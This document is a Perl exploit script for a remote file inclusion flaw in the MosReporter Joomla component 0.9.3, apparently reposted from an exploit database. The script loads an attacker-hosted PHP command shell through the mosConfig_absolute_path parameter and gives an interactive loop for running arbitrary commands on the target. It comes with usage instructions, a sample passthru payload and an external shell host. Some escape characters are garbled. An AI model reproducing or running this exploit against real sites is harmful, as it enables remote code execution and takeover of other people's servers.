MosReporter Joomla Component 0.9.3 Remote File Include Exploit

Exploit Code :

#!/usr/bin/perl
###########################################################################
#############################
# MosReporter Joomla Component Remote File Inclusion Exploit
###########################################################################
#############################
# Download Script
http://mamboxchange.com/tracker/download.php/196/805/1010/119/reporter_mamb
elfish.zip
###########################################################################
#############################
# Bug Found & coded By Crackers_Child
###########################################################################
##############################
# crackers_child@sibersavascilar.com
###########################################################################
##############################
# Kullanimi
# perl cra.pl <target> <cmd shell location> <cmd shell variable>
#
# perl cra http://site.com/ http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# #
#Greetz: X_Alperen_X aND All SiberSavascilar.CoM Users !
#
# Contact: crackers_child@sibersavascilar.com
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:/// || $Pathtocmd!~/http:/// || !$cmdv){usage()}

head();

while()
{
print "[shell] $";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET
=>$Path.'components/com_reporter/reporter.logic.php?mosConfig_absolute_path
='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "nCould Not connectn";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[n]/[....]/;

if (!$cmd) {print "nPlease Enter a Commandnn"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return
=~/: Cannot execute a blank command in <b>/)
{print "nCould Not Connect to cmd Host or Invalid Command
Variablen";exit}
elsif ($return =~/^<br./>.<b>Fatal.error/) {print "nInvalid Command or No
Returnnn"}

if($return =~ /(.*)/)

{
$finreturn = $1;
$finreturn=~ tr/[....]/[n]/;
print "rn$finreturnnr";
last;
}

else {print "[shell] $";}}}last;

sub head()
{
print
"n=========================================================================
===rn";
print " *MosReporter Joomla Component Remote File Inclusion Exploit*rn";
print
"==========================================================================
==rn";
}
sub usage()
{
head();
print " Usage: perl cra <target> <cmd shell location> <cmd shell
variable>rnn";
print " <Site> - Full path to example: http://www.site.com/ rn";
print " <cmd shell> - Path to cmd Shell e.g
http://sibersavascilar.com/rst.txt? rn";
print " <cmd variable> - Command variable used in php shell rn";
print
"==========================================================================
==rn";
print " By Crackers_Child rn";
print " crackers_child(at)sibersavascilar(dot)com rn";
print
"==========================================================================
==rn";
exit();
}

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason